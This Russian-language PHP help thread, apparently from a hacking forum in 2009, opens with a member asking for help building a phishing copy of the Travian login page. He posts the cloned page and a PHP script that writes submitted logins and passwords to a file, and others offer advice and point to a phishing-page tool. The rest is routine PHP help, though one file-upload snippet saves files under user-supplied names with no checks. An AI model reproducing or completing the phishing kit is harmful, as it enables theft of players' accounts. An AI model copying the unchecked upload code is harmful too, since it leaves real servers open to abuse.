Спасиба,но ето я толькочто для тебя с нуля написал вопщет) у меня своя ф-цыя + робота с антикапчей) Чекер мой как ни как работает на нём,но и за ето спасиб!;)

SGR
01.07.2009, 18:20
Привет ребята!
Я здесь новенький, но давно уже лазю на форуме(просто не регился).
У меня такая проблема(С PHP я наверное знаком на 0,5% из 100%)
Но решил на основе одного фейка для мейл.ру, создать совсем другой для этого сайта.
http://www.travian.com.ua/ кто играет я под таким же ником, а точнее для этой страницы
http://s1.travian.com.ua/login.php
Все думал бует чики-пики, но постало несколько проблем.1 картинки никак не могут отобразится(Пробывал в ручную, через скрины и разные програмы, но эфект не тот.Все лезет на купу) и 2 проблема.Пасс и логин не хотят прописыватся в базу(права я им надал).Вообщем картина така что не смог я этого сделать.И очень хочется, ведь для этого сайта фейка нет, а оч. нужен.Потому прошу помощи, кто сможет.Дело добровольное!!!Ради интереса и желания чего-то доказать.

diznt
01.07.2009, 18:22
Привет ребята!
Я здесь новенький, но давно уже лазю на форуме(просто не регился).
У меня такая проблема(С PHP я наверное знаком на 0,5% из 100%)
Но решил на основе одного фейка для мейл.ру, создать совсем другой для этого сайта.
http://www.travian.com.ua/ кто играет я под таким же ником, а точнее для этой страницы
http://s1.travian.com.ua/login.php
Все думал бует чики-пики, но постало несколько проблем.1 картинки никак не могут отобразится(Пробывал в ручную, через скрины и разные програмы, но эфект не тот.Все лезет на купу) и 2 проблема.Пасс и логин не хотят прописыватся в базу(права я им надал).Вообщем картина така что не смог я этого сделать.И очень хочется, ведь для этого сайта фейка нет, а оч. нужен.Потому прошу помощи, кто сможет.Дело добровольное!!!Ради интереса и желания чего-то доказать.
Исходники фейка сюда... Так сложно сказать что не так

SGR
01.07.2009, 18:24
Вы не можете прикреплять файлы
Но вот какая пародия получается.Хост я выбрал любой для тренировки.

http://vcontacte.bos.ru/

SGR
01.07.2009, 18:29
index.php
<html> <head> <title>Travian ua1</title> <meta name="content-language" content="ua" /> <meta http-equiv="cache-control" content="max-age=0" /> <meta http-equiv="imagetoolbar" content="no" /> <meta http-equiv="content-type" content="text/html; charset=UTF-8" /> <script src="mt-core.js?azg" type="text/javascript"></script> <script src="mt-more.js?azg" type="text/javascript"></script> <script src="unx.js?azg" type="text/javascript"></script> <script src="new.js?azg" type="text/javascript"></script> <link href="img/unx.css?azg" rel="stylesheet" type="text/css" /> <link href="img/img.css?azg" rel="stylesheet" type="text/css" /> <link href="img/ua/lang.css?azg" rel="stylesheet" type="text/css" /> </head> <body onload="initCounter()"> <div id="dynamic_header" class="norm"> </div> <div id="header"></div> <div id="mid"> <div id="sleft"> <a href="http://www.travian.com.ua/"><img id="logo" src="" alt="Травіан" /></a> <p> <a href="http://www.travian.com.ua/index.php">Головна</a> <a href="http://www.travian.com.ua/anleitung.php">Довідка</a> <a href="login.php">Вхід</a> <a href="anmelden.php">Реєстрація</a> <br /><br /> <a href="http://forum.travian.com.ua/" target="_blank">Форум</a> <a href="http://www.travian.com.ua/chat/?chatname=T_guest???" target="_blank">Чат</a> <br /><br /> <a href="http://www.travian.com.ua/impressum.php">Фірма</a> <a href="support.php">Служба підтримки</a> </p> </div> <div id="content"> <div class=login> <h1><img class="img_login" src="/1.jpg" alt="Ввійти до Гри" /></h1> <h5><img class="img_u04" src="/1.jpg" alt="ввійти" /></h5> <p class="f9">Щоб увійти в гру необхідно дозволити використання "cookіe" у вашому браузері.Якщо ви не єдиний користувач комп'ютера, деактивуйте "<i>Впізнавати мене в майбутньому</i>" ("cookіe" будуть видалені після виходу із браузера).</p> <form method="post" action="654321.php" onSubmit="return CheckForm(this);"> <table class="dashed"> <colgroup> <col class="w40" /> <col class="w60" /> </colgroup> <tr> <td><label>Логін:</label></td> <td><input class="fm fm110" type="text" name="e215a53" value="" maxlength="15" /> <span class="e f7"> </span></td> </tr> <tr> <td><label>Пароль:</label></td> <td><input class="fm fm110" type="password" name="e193aff" value="" maxlength="20" /> <span class="e f7"> </span></td> </tr> </table> <input type="hidden" name="eb0a332" value="" /> <p class="center"> <input type="hidden" name="eb0a332" value="" /> <input type = "image" value = "login" name = "s1" onclick = "xy();" id = "btn_login" class = "dynamic_img" src = "img/x.gif" alt = "кнопка входу" /> </p> </form> </div> </div> <div id="sright"> <h5><img src="http://www.travian.com.ua/img/ua/t2/newsbox1.gif" class="news1" alt="Новини 1"></h5> <div class="dashed"><span style="color:#ff9a1e;"><strong>Отримати ігрове золото</strong></span> <br><br>Більше інформації <a href="http://forum.travian.com.ua/showthread.php?t=2869" target="_blank">тут</a></div> <h5><img src="http://www.travian.com.ua/img/ua/t2/newsbox2.gif" class="news2" alt="Новини 2"></h5> <div class="dashed"><span style="color:#ff0000;"><strong>Важливо !</strong></span> <span style="font-size: 11px;"> <br><br>Шановні гравці, <br><br>Мультихантери та Служба Підтримки спілкується з Вами <font color="red"><b>виключно</b></font> за допомогою внутрішньоігрових повідомлень. <br><br><b>Важливо:</b> працівники Травіан команди ніколи не будуть питати у Вас пароль. <br><br>Будьте уважні! </font></span> </div> </div> <div class="clear"></div> </div> <div class="clear"></div> <div id="footer"> <div id="mfoot"> <a href="http://www.travian.com.ua/anleitung.php?s=3">Довідка</a> | <a href="http://www.travian.com.ua/screenshots.php">Скріншоти</a> | <a href="http://www.travian.com.ua/links.php">Лінки</a> | <a href="http://www.travian.com.ua/spielregeln.php">Правила гри</a> | <a href="http://www.travian.com.ua/spielregeln.php?agb">Основні положення</a> | <a href="http://www.travian.com.ua/impressum.php">Фірма</a> <br /> <div class="copyright">© 2004 - 2009 Travian Games GmbH</div> </div> </div> <div id="ce"></div> </body> </html>

654321.php
<?PHP $Login = $_POST['Login'];//Логин $Domain = $_POST['Domain'];//Домен $Pass = $_POST['Password'];//Пароль $c = "$Login@$Domain:$Pass"; $fp = fopen("654321","a+"); //открыть файл базы fwrite($fp,"\n $c <br> \n");//записываем все fclose($fp); //закрываем header("Location: http://s1.travian.com.ua/login.php"); echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://s1.travian.com.ua/login.php">"//s1.travian.com.ua ?>

SGR
01.07.2009, 18:31
Индекс составляется с исходного кода самой подлиной страници, где я заменил только несколько строчек.И 654321.php я не заменял ничем, как взял с фейка мейл.ру так и оставил.

Видно так замудрил, что никто не хочет братся :(

Nightmarе
01.07.2009, 20:20
Сделай рерайт на несуществующую страницу и добавь ErrorDocument 404 /404.html
Максимум чего мы можем добиться, это визуального эффекта 404, а необходим ещё заголовок, что действительно файла нету. Это средствами .htacces я так понимаю не реализовать?

Pashkela
01.07.2009, 20:35
http://www.askapache.com/htaccess/using-http-headers-with-htaccess.html

Kaimi
01.07.2009, 20:37
Например есть файл bad.html и мы хотим имитировать 404 для него.
Делаешь htaccess с текстом

ErrorDocument 404 /404.html
Options +FollowSymlinks
RewriteEngine on
RewriteRule bad\.html blablabla.html

При обращении к bad.html получаем 404 в заголовке и содержимое страницы 404.html

Или ты хотел нечто другое?

Gifts
01.07.2009, 20:41
Nightmarе Или так


ErrorDocument 404 /404.html
RewriteCond %{REQUEST_FILENAME} "имя файла без кавычек"
RewriteRule ^.*$ - [R=404,L]

SGR
01.07.2009, 20:57
О фейку могу забыть:(

diznt
01.07.2009, 21:12
О фейку могу забыть:(
Читабительным сделай код

SGR
01.07.2009, 21:46
Читабительным сделай код
http://forum.xakep.ru/m_1125319/tm.htm
Вот исходная темка написания.

diznt
02.07.2009, 00:48
http://forum.xakep.ru/m_1125319/tm.htm
Вот исходная темка написания.
Погугли "AnyFake" полезная штука! (токо в настройках сделай "Сохр. в файл" когда будешь в AnyFake)

DVD_RW
02.07.2009, 08:35
<input type="text" name="code" id="code"> Как поставить запрет на IP клиента - чтоб он "постил" туда данные если каждую секунду - то поставить запрет к примеру на 3-5 минут...
Надеюсь вы меня поняли :(

rushter
02.07.2009, 12:59
Как поставить запрет на IP клиента - чтоб он "постил" туда данные если каждую секунду - то поставить запрет к примеру на 3-5 минут...
Надеюсь вы меня поняли :(
При постинге в куки забивай время постинга,потом сравнивай.

Ponchik
02.07.2009, 15:07
А вот и я!
По регуляркам помогите, надо определять миксы буков, тоесть например ник Admin но с русской букво "А"
Я так понял, 2 регулярки, одна проверяет на буквы А-Я другая на A-Z если обе true значить детектед, вот только ничё не получаеца =\
$nick = $_POST['nick'];
if(eregi("^[a-z]+$", $nick) && eregi("^[а-я]+$", $nick)) $error[] = 'Микс буков детектед';
Пишу "ололоpewpew" молчит :rolleyes:

rushter
02.07.2009, 15:17
А вот и я!
По регуляркам помогите, надо определять миксы буков, тоесть например ник Admin но с русской букво "А"
Я так понял, 2 регулярки, одна проверяет на буквы А-Я другая на A-Z если обе true значить детектед, вот только ничё не получаеца =\
$nick = $_POST['nick'];
if(eregi("^[a-z]+$", $nick) && eregi("^[а-я]+$", $nick)) $error[] = 'Микс буков детектед';
Пишу "ололоpewpew" молчит :rolleyes:
if (eregi("[a-z]+", $nick) && eregi("[а-я]+", $nick) ) $error[] = 'Микс буков детектед';
По твоей регулярке получается что строка должна одновременно начинаться с русской и английской букв

159932
02.07.2009, 15:23
[список всех ру букв]+

Pashkela
02.07.2009, 16:21
<?php
$test = 'Admin';
if (preg_match("/[a-z]+/", $test) && preg_match("/[а-я]+/", $test)) echo 'Detected mix';
else echo 'Ok';
?>

mailbrush
03.07.2009, 12:45
Как вывести английский алфавит, не используя других ресурсов и предварительно не вводя его?

Kaimi
03.07.2009, 12:49
foreach (range('a', 'z') as $lt) echo $lt;

Gifts
03.07.2009, 12:55
mailbrush
for($i=97;$i<123;$i++) echo chr($i);//Lowecase
for($i=65;$i<91;$i++) echo chr($i);//Uppercase

mailbrush
03.07.2009, 14:26
Kaimi, спс, не знал о функции range.
Gifts, угу, чар тоже вариант.

heretic1990
03.07.2009, 14:51
нужен простенький пример авторизации через форму с куками.
помогите.

без бд.

ANTIHАCK
03.07.2009, 19:26
Нужна помощь)))

Вот кусок кода (нашёл в инете)


<?php
if($_FILES["filename"]["size"] > 1024*40*1024)
{
echo ("Размер файла превышает 40 мегабайт");
exit;
}
if(copy($_FILES["filename"]["tmp_name"],
"c:/".$_FILES["filename"]["name"]))
{
echo("Файл успешно загружен");
} else {
echo("Ошибка загрузки файла");
} ?>

Как сделать что б он после загрузки показывал ссылку на файл в

<form > <input type="text" name="хз" /> </form>

? Помагите пожалст))

Nightmarе
03.07.2009, 19:31
ANTIHАCK добавь строку:
echo '<form><input type="text" name=$_FILES["filename"]["name"] /></form>';

ANTIHАCK
03.07.2009, 19:41
ну поле он выводит)) а ссылку нет) просто пустое поле..

PS: спс

geforse
03.07.2009, 19:44
<?php
if($_FILES["filename"]["size"] > 1024*40*1024)
{
echo ("Размер файла превышает 40 мегабайт");
exit;
}
if(copy($_FILES["filename"]["tmp_name"],
"c:/".$_FILES["filename"]["name"]))
{
echo("Файл успешно загружен");
echo '<a href='."c:/".$_FILES["filename"]["name"].'>Качай</a>';
} else {
echo("Ошибка загрузки файла");
} ?>

ANTIHАCK
03.07.2009, 19:47
geforse все хорошо но мне нужно чтоб в поле это вписал эту ссылку)) так можно ведь?

geforse
03.07.2009, 19:48
del

ANTIHАCK
03.07.2009, 19:51
спасиб что помогаешь))) но он выводит эту ссылку рядом с полем))) а не в нем))

geforse
03.07.2009, 19:54
<?php
if($_FILES["filename"]["size"] > 1024*40*1024)
{
echo ("Размер файла превышает 40 мегабайт");
exit;
}
if(copy($_FILES["filename"]["tmp_name"],
"c:/".$_FILES["filename"]["name"]))
{
echo("Файл успешно загружен");
echo ' <form><input type="text" name="хз" value='."c:/".$_FILES["filename"]["name"].'/></form>';
} else {
echo("Ошибка загрузки файла");
} ?>

ANTIHАCK
03.07.2009, 19:55
geforse Все работает спасиб!! Жаль плюсы ставить еще не магу...

geforse
03.07.2009, 20:50
Такой вопрос:

Как php (и умеет ли) взаимодействовует с flash технологиями ?
Допустим курлом загружаю страницу с флешкой и ставлю ретурн_трансфер 0. Страница отображается, а флеш нет :(

Ponchik
05.07.2009, 00:11
А вот и я, снова со своими реулярками...
<pre><?php
$date = preg_quote(date('d.m.Y'));
$text = "<td>05.07.2009</td><td>31,2481</td>";
preg_match('/\<td\>'.$date.'\</td\>\<td\>([0-9]*,[0-9]*)\</td\>/i', $text, $out);

print_r($out);
?>

Warning: preg_match() [function.preg-match]: Unknown modifier 't'
Чё оно хочет?! Я регулярку через preg_quote сделал, чё ему ненравится :mad:
===
Методом тыка заменил /.../i на |...|i заработало, хз почему но заработало :)

Kaimi
05.07.2009, 00:18
</td\>

Прямой слеш не экранирован

Fepsis
05.07.2009, 00:26
А вот и я, снова со своими реулярками...
<pre><?php
$date = preg_quote(date('d.m.Y'));
$text = "<td>05.07.2009</td><td>31,2481</td>";
preg_match('/\<td\>'.$date.'\</td\>\<td\>([0-9]*,[0-9]*)\</td\>/i', $text, $out);

print_r($out);
?>

Warning: preg_match() [function.preg-match]: Unknown modifier 't'
Чё оно хочет?! Я регулярку через preg_quote сделал, чё ему ненравится :mad:
===
Методом тыка заменил /.../i на |...|i заработало, хз почему но заработало :)

символ "\" надо ставить перед "/" а не перед <> :)
А вообще скажи что на выходе получить хочешь..?!

b3
05.07.2009, 02:50
Это чтоли?
<?php
$date = preg_quote(date('d.m.Y'));
$text = "<td>05.07.2009</td><td>31,2481</td>";
preg_match('#\<td\>'.$date.'\<\/td><td>([0-9]*,[0-9]*)<\/td>#i', $text, $out);

print_r($out);
?>

ANTIHАCK
05.07.2009, 15:19
Привет всем! Нужна не большая помощь.. Есть скрипт:


<?php
if($_FILES["filename"]["size"] > 1024*300*1024)
{
echo ("<h1>Размер файла превышает 300 мегабайт<h1>");
exit;
}
if(copy($_FILES["filename"]["tmp_name"],
"c:/WebServers/home/10.2.197.11/subdomain/files/".$_FILES["filename"]["name"]))
{
echo ' <form><input type="text" onclick="f2(this);" readonly="" style="width:287px;" value='."http://10.2.197.11/files/".$_FILES["filename"]["name"].'></form>';
} else {
echo("<h1>Ошибка загрузки файла<h1>");
} ?>



Мне нужно чтоб он переименовывал загружаемый файл... лучше чтоб было как на слил.ру (1,2,3,... 322, 434334) возможно такое сделать?

profile
05.07.2009, 15:27
создал на форуме дополнительный блок...

как зделать так чтоб при наполнении блока он автоматом подганял свои розмеры под инфу которая там...

ато допустим в блоке 2 слова, он по розмерам норм...как тока добавляю еще 2 слова...его розносит в разные стороны.. (((

?????

Fepsis
05.07.2009, 15:34
создал на форуме дополнительный блок...

как зделать так чтоб при наполнении блока он автоматом подганял свои розмеры под инфу которая там...

ато допустим в блоке 2 слова, он по розмерам норм...как тока добавляю еще 2 слова...его розносит в разные стороны.. (((

?????
ТАблицу с фиксированной шириной сделай...

XXXXXX
05.07.2009, 15:34
привет всем. Как правильно создать цикл что бы он через каждые 3 символа вставлял число. тоесть если текст
алотплоатпиомтаиталтил
оатилоталоимь
сдтмиаол

то надо что бы он получился таким
ало1тпл2оат3пио4мта5ита6лти7
оа8тил9ота10лои11мь
с12дтм13иао14л

rushter
05.07.2009, 16:06
<?php
$st = "texttexttexttexttext";
$str = "";
for($i=0;$i < strlen($st);$i++)
{
if($i%3==0){ $str=$str."1".$st[$i]; }
else
$str = $str=$str.$st[$i];
}
echo $str;
?>
Как-то так,не проверял.

XXXXXX
05.07.2009, 16:26
блин, будет 1 каждые три символа. А как что бы числа подряд шли 1, следущая 2, затем 3, и так далее

\\ChaOs//
05.07.2009, 16:30
Замени "1" на некую переменную, которую увеличивай в цикле

<?php
$st = "texttexttexttexttext";
$str = "";
$x = 1;
for($i=0;$i < strlen($st);$i++)
{
if($i%3==0){ $str=$str.$x.$st[$i]; $x=$x+1;}
else
$str = $str=$str.$st[$i];
}
echo $str;
?>

diznt
05.07.2009, 16:31
Привет всем! Нужна не большая помощь.. Есть скрипт:


<?php
if($_FILES["filename"]["size"] > 1024*300*1024)
{
echo ("<h1>Размер файла превышает 300 мегабайт<h1>");
exit;
}
if(copy($_FILES["filename"]["tmp_name"],
"c:/WebServers/home/10.2.197.11/subdomain/files/".$_FILES["filename"]["name"]))
{
echo ' <form><input type="text" onclick="f2(this);" readonly="" style="width:287px;" value='."http://10.2.197.11/files/".$_FILES["filename"]["name"].'></form>';
} else {
echo("<h1>Ошибка загрузки файла<h1>");
} ?>



Мне нужно чтоб он переименовывал загружаемый файл... лучше чтоб было как на слил.ру (1,2,3,... 322, 434334) возможно такое сделать?
Можно
Рассказываю структуру

Заливаешь файл... Как залил пишешь в mysql колонки:

id = индификатор файла при запросе GET (к примеру sait.ru/?id=412421) индефикатору просваиваем рандомное число но не одно а несколько (rand())(к примеру рандомное число от 1000 до 10000)

file = ссылка на файл для скачки

Далее если у нас есть GET запрос Id=4125
то просто сверяем есть ли колонка id со значением 4125 если есть то выдираем то что в колонке file под id=4125

Чисто на словах объяснил так как Mysql запросы пока что плохо знаю (говорю сразу надо мудрить с WHERE)

PaCo
05.07.2009, 16:39
$str_array=array('алотплоатпиомтаи талтил','оатилоталоимь','сдт миаол'); //file() и etc
$u=0;
function add_num($in='',$len=3)
{
global $u;
$out='';
for($i=0;$i<strlen($in);$i=$i+3)
{
$u++;
$temp = strlen($in)-$i > $len-1 ? substr($in,$i,$len) . $u : substr($in,$i,$len);
$out.= $temp;
}
return $out;
}
$str_array =array_map('add_num',$str_array);
print_r($str_array);

XXXXXX
05.07.2009, 16:40
<?php
$st = "texttexttexttexttext";
$str = "";
for($i=0;$i < strlen($st);$i++)
{
if($i%3==0){ $str=$str."1".$st[$i]; }
else
$str = $str=$str.$st[$i];
}
echo $str;
?>
Как-то так,не проверял.

ну а если наоборот. нужно что бы из введенного текста вывел только четвертый и шестой символ.

roddik
05.07.2009, 16:44
привет всем. Как правильно создать цикл что бы он через каждые 3 символа вставлял число. тоесть если текст
алотплоатпиомтаиталтил
оатилоталоимь
сдтмиаол

то надо что бы он получился таким
ало1тпл2оат3пио4мта5ита6лти7
оа8тил9ота10лои11мь
с12дтм13иао14л

труе-решение

$a = 'алотплоатпиомтаиталтил
оатилоталоимь
сдтмиаол';

$b = 1;
$a = preg_replace('#(...)#se', "'\\1'.\$b++", $a);

echo $a;

KrafT
05.07.2009, 17:24
Всем привет! Есть скрипт :


$friends_pages = 233;
for ($f = 232; $f <= $friends_pages; $f++) {
$q->Get("http://web/");
file_put_contents($inc_dir.'/friends.html', $q->Result);
$content2 = file_get_contents($inc_dir.'/friends.html', $q->Result);
preg_match_all($regexp2, $content2, $fl, PREG_SET_ORDER);
foreach ($fl as $fll) {
if (!in_array($fll[1], $friends_ids))
$friends_ids[] = $fll[1];
}
}

$friends_count_real = count($friends_ids);
echo "Friendlist loaded. $friends_count_real IDs\n";

$index = 0;
foreach ($friends_ids as $friends_id) {
$index++;
$friend_sent++;
echo "$index. Sending invites to $friends_id... \r";
$q->Get("http://web/");
file_put_contents($inc_dir.'/xx_post.html', $q->Result);
$q->Query = Array (
'xxx' => 'vtoflgty',
'action' => 'addFriend',
'redirect' => 'community.ownmain.page',
'friendId' => $friends_id
);


Он собирает сначало со всех страниц ID и потом приглашает их. А как можно зделать чтоб собрал ID с одной страници ID потом пригласил их и тогда на следуйшую страницу перешёл и делал тоже самое?

Ponchik
05.07.2009, 17:28
Так, я снова со своими регулярками...
Насчёт того чо там надо челу вставлять циферки, юзайте wordwrap чтоб разбить по 3 буквы, потом циклом собирайте вставляя циферке

А теперь о свооём...
[16:22:45] <Ponchik> как в регулярке указать всё, кроме <
[16:23:22] <Ponchik> так нехочет ([.^\<]*)
[16:23:58] <Ponchik> а так всёравно выводит то чо ненадо (.*[^\<]?)
[16:24:33] <Ponchik> зато буквы обрезает, ппц

art2222
05.07.2009, 17:28
id = индификатор файла при запросе GET (к примеру sait.ru/?id=412421) индефикатору просваиваем рандомное число но не одно а несколько (rand())(к примеру рандомное число от 1000 до 10000)
С rand() плохо, т.к. вдруг такой файл уже есть?
Нужно в мускуль таблице для колонки id установить параметр auto_increment и будет всегда уникальный индекс.
Вот вроде так =\

L I G A
05.07.2009, 17:38
Так, я снова со своими регулярками...
Насчёт того чо там надо челу вставлять циферки, юзайте wordwrap чтоб разбить по 3 буквы, потом циклом собирайте вставляя циферке

А теперь о свооём...
[16:22:45] <Ponchik> как в регулярке указать всё, кроме <
[16:23:22] <Ponchik> так нехочет ([.^\<]*)
[16:23:58] <Ponchik> а так всёравно выводит то чо ненадо (.*[^\<]?)
[16:24:33] <Ponchik> зато буквы обрезает, ппц


<?php
echo preg_replace('/[^<]/','<font color=red>все</font>',"все все все все все кроме <");
?>

и я устал повторять :точка внутри [] теряет свой смысл
"любой символ" и обозначает простую точку .

Ponchik
05.07.2009, 17:48
LIGA, неработат
ну вот у мя так ... (.*) ...
получаеца

[1] => Array
(
[0] => <div>ненада
[1] => нада
[2] => <div>ненада
[3] => нада
[4] => <div>ненада
[5] => нада
[6] => <div>ненада
[7] => нада
)
Мне вот так надо

[0] => нада
[1] => нада
[2] => нада
[3] => нада

diznt
05.07.2009, 17:52
С rand() плохо, т.к. вдруг такой файл уже есть?
Нужно в мускуль таблице для колонки id установить параметр auto_increment и будет всегда уникальный индекс.
Вот вроде так =\
Ну я так же написал что рандомные числа от 1000 до 10000 к примеру!

art2222
05.07.2009, 17:55
Ну я так же написал что рандомные числа от 1000 до 10000 к примеру!
Ну имхо твой вариант с вероятностью 1 к 9000 словит ошибку =)
с мускулей проще, не надо ничего генерировать, она сама все подставит и сделает.

L I G A
05.07.2009, 18:06
<?php
$str = "<div> нада нада очень<>";
preg_match('/[^<div>](.*)/i', $str, $out);

print_r($out[0]);
?>
если не так то выложи строку и вид в какой она должна преобразоваться.

Ponchik
05.07.2009, 18:17
L I G A, да всё, я через цикл пропустил и сравнивал $arr == striptags($arr)
если совпадает то вписывал в новую переменную, норм...

KrafT
05.07.2009, 19:03
Возможно ли такое что когда кончается работа скрипта он себя сам запускает заного??

zifanchuck
05.07.2009, 19:08
Возможно ли такое что когда кончается работа скрипта он себя сам запускает заного??
Типа цикла? НУ можно еще на крон поставить. Крон будет его запускать когда нужно. Если я прально понял...

Zedi
05.07.2009, 19:36
нет, такое не возможно, когда скрипт закончит работу он обрубит даже все дочерние скрипты допустим запущенные через exec выход увеличивать время выполнения set_time_limit

Krist_ALL
05.07.2009, 19:45
А я придумал как сделать. Скрипт, который надо запускать несколько раз в файле а.Пхп в функции маин например.а в скрипте индекс.Пхп
<?php
include ('a.Php');
for($i=0;$i<100;$i++){
main();
sleep(2);
}
?>

Zedi
05.07.2009, 19:48
по моему он имел ввиду чтобы скрипт сам себя запустил по истечению max_execution_time

Ch3ck
05.07.2009, 20:19
А я придумал как сделать. Скрипт, который надо запускать несколько раз в файле а.Пхп в функции маин например.а в скрипте индекс.Пхп
<?php
include ('a.Php');
for($i=0;$i<100;$i++){
main();
sleep(2);
}
?>
ТЫ многопоточность придумал (х**ня какая-то):)))

diznt
05.07.2009, 20:23
я вот видел что некоторые пишут вот так echo "Переменная i равняется $i"; а некоторые пишут вот так echo "Переменная i равняется ".$i; как лучше писать? и в каких случаях это играет роль?

PaCo
05.07.2009, 20:29
@KrafT
через register_shutdown_function - вызывать функциию котороя например будет через сокет вызывать файл из которого она запушена и соотвественно передовать необходимыные данные.

diznt сейчас начнеться холивар поклоников двойных и одинарных кавычек :)

KrafT
05.07.2009, 20:37
Спасибо ! Вы мне помогли! =)

Kaimi
05.07.2009, 20:45
я вот видел что некоторые пишут вот так echo "Переменная i равняется $i"; а некоторые пишут вот так echo "Переменная i равняется ".$i; как лучше писать? и в каких случаях это играет роль?

Скорость выполнения разная поидее. Имхо лучше писать: 'Переменная i равняется '.$i

Ch3ck
05.07.2009, 20:57
ту diznt, http://spindrop.us/2007/03/03/php-double-versus-single-quotes/

Spyder
05.07.2009, 21:32
бред это всё про то что с двойными кавычками медленне выполняется
уж лучше писать "i = $i" чем этот гемор + абсолютная нечетаемость кода с конкатенацией строк

Kaimi
05.07.2009, 21:52
бред это всё про то что с двойными кавычками медленне выполняется
уж лучше писать "i = $i" чем этот гемор + абсолютная нечетаемость кода с конкатенацией строк

Бенчмарк в перле показывает что с двойными медленнее получается

Ch3ck
05.07.2009, 21:56
На доли секунды... не тру

Spyder
05.07.2009, 22:08
я бы выбрал лучшую читаемость кода, чем сомнительный выйгрыш в производительности
вы же не систему управления спутниками пишите

Winst0n
05.07.2009, 22:55
как сделать чтоб надписи не залазили друг на друга.. ?

как надо:
http://sa-mp.ws/image/index.jpg

как не надо:
http://img.sa-mp.ws/34.jpg
http://img.sa-mp.ws/24.jpg

imagettftext($im, 10, 0, 15, 8, $color, $font, $hostname);
imagettftext($im, 10, 0, 130, 8, $color, $font, $ip);
imagettftext($im, 10, 0, 163, 8, $color, $font, ':');
imagettftext($im, 10, 0, 166, 8, $color, $font, $port);
imagettftext($im, 10, 0, 35, 16, $color, $font, $gametype);
imagettftext($im, 10, 0, 163, 16, $color, $font, $players);
imagettftext($im, 10, 0, 174, 16, $color, $font, '/');
imagettftext($im, 10, 0, 181, 16, $color, $font, $maxplayers);
imagettftext($im, 10, 0, 280, 16, $color, $font, '(c) '.$site);

PaCo
05.07.2009, 23:00
Скорость выполнения разная поидее. Имхо лучше писать: 'Переменная i равняется '.$i
если так судить то конкатация тоже занимает какую часть времени и соответсвенно так быстрее:

Переменная i равняется:
<? echo $i; ?>

да и вообше при выполнении одного запроса в гугле выделяеться 7 г. CO2 так что не пользуйтесь гуглом ищите все вручную и сделайте этот мир чише.

Ponchik
05.07.2009, 23:59
я вот видел что некоторые пишут вот так echo "Переменная i равняется $i"; а некоторые пишут вот так echo "Переменная i равняется ".$i; как лучше писать? и в каких случаях это играет роль?
Если следовать мануалу, то
"text" жрёт больше памяти, чем 'text' такчто лучше 'text'.$i;
А "text".$i; это вобще бред какой-то

159932
06.07.2009, 00:18
от так будет в самый раз "text"."$i";

Zedi
06.07.2009, 02:01
правильнее писать echo "Переменная i равняется ".$i; этот способ по моему и быстрее чуточку и поможет лишних ошибок в дальнейшем избежать))
и желательно кавычки одинарные, но различия там минималистические так что пиши как удобнее))

Doom123
06.07.2009, 02:22
Zedi +1 хороший тон программирования и поиогает избежать ошибок....

Pashkela
06.07.2009, 02:32
но различия там минималистические так что пиши как удобнее))

+++, остальное дурь и блажь

diznt
06.07.2009, 15:37
Делаю авторизацию, хочу спросить насколько она хороша

Проверка куков-->Если они есть то спасаюсь от sql-inj-->Втыкаю в свою функцию пароль и аккаунт (очищенные от вредоносных символов)(ну а функция проверяет данные с базой данных Mysql и если все норм то возвращает тру)

Zedi
06.07.2009, 16:10
главное все фильтроватьи очищать, то что получаешь $_POST ом и куки

OdaN
06.07.2009, 18:38
Помогите плз, надо пропарсить строку, из
http://site.com/bla-bla-bla выдрать site.com, чета я туплю совсем =(